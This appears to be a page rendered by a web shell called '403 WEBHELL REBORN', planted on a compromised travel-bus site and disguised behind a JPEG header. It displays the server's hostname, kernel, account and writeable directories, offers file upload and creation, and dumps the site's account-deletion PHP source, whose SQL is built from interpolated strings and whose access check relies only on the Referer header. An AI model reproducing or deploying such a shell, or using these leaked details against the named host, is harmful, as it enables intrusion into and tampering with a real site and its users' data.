ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/process/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/process/remove.php
<?php
	include $_SERVER['DOCUMENT_ROOT'].'/include/base.php';
	include $_SERVER['DOCUMENT_ROOT'].'/process/process_common.php';

	if(!isset($_SESSION['web_member'])){
		echo "<script>alert('로그인 상태가 아닙니다.');location.href='/';</script>";
	}

	if(strpos($_SERVER['HTTP_REFERER'], "/page/remove.html") !== false){

		$tb_name = "TB_MEMBER";

		$member_pw = trim($_POST['member_password']);
        $member_pw = sha1($pw_salt_value.$member_pw);

		$mb_id = $_SESSION['web_member']['mb_id'];

		if($mb_id != ''){

			$sql = "SELECT count(*) AS cnt FROM {$tb_name} WHERE mb_id = '{$mb_id}' AND mb_pwd = '{$member_pw}'";
			$res = $db_connect->query($sql);
			$data = $res->fetch_array(MYSQLI_ASSOC);

			if($data['cnt'] == "1"){
				$sql = "DELETE FROM {$tb_name} WHERE mb_id = '{$mb_id}'";
				$db_connect->query($sql);
				unset($_SESSION['web_member']);

				echo "<script>alert('회원탈퇴가 완료되었습니다.');location.href='/';</script>";
				exit;
			}else{
				echo "<script>alert('비밀번호가 일치하지 않습니다.');location.href='/page/remove.html';</script>";
				exit;
			}

		}else{
			echo "<script>location.href='/';</script>";
			exit;
		}
	}else{
		exit;
	}

?>

Anon7 - 2021